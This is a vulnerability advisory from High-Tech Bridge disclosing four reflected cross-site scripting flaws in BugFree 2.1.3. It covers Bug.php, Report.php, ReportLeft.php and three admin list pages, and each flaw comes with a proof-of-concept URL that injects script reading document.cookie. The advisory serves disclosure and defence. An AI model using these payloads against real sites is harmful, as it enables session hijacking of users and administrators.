Vulnerability ID: HTB23048
Reference: https://www.htbridge.ch/advisory/multiple_vulnerabilities_in_bugfree.html
Product: BugFree 
Vendor: www.bugfree.org.cn ( http://www.bugfree.org.cn/ ) 
Vulnerable Version: 2.1.3 and probably prior
Tested Version: 2.1.3
Vendor Notification: 21 September 2011 
Vulnerability Type: XSS (Cross Site Scripting)
Risk level: Medium 
Credit: High-Tech Bridge SA Security Research Lab ( https://www.htbridge.ch/advisory/ ) 

Vulnerability Details:
High-Tech Bridge SA Security Research Lab has discovered multiple vulnerabilities in BugFree , which can be exploited to perform cross-site scripting attacks.

1) Input passed via the "ActionType" GET parameter to Bug.php is not properly sanitised before being returned to the user.
This can be exploited to execute arbitrary HTML and script code in a user's browser session in context of affected website.

The following PoC code is available:

http://[host]/Bug.php?BugID=1&ActionType=%22%3E%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E

2) Input passed via the "ReportMode" GET parameter to Report.php is not properly sanitised before being returned to the user.
This can be exploited to execute arbitrary HTML and script code in a user's browser session in context of affected website.

The following PoC code is available:

http://[host]/Report.php?ReportMode=%3C/title%3E%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E

3) Input passed via the "ReportMode" GET parameter to ReportLeft.php is not properly sanitised before being returned to the user.
This can be exploited to execute arbitrary HTML and script code in a user's browser session in context of affected website.

The following PoC code is available:

http://[host]/ReportLeft.php?ReportMode=%22%3E%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E

4) Input appended to the URL after AdminProjectList.php, AdminGroupList.php, AdminUserLogList.php is not properly sanitised before being returned to the user.
This can be exploited to execute arbitrary HTML and script code in a administator browser session in context of affected website.

The following PoC code is available:

http://[host]/admin/AdminProjectList.php/%27;%3C/script%3E%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E
http://[host]/admin/AdminGroupList.php/%27;%3C/script%3E%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E
http://[host]/admin/AdminUserLogList.php/%27;%3C/script%3E%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E


Disclaimer: Details of this Advisory may be updated in order to provide as accurate information as possible. The latest version of the Advisory is available on the web page in Reference field.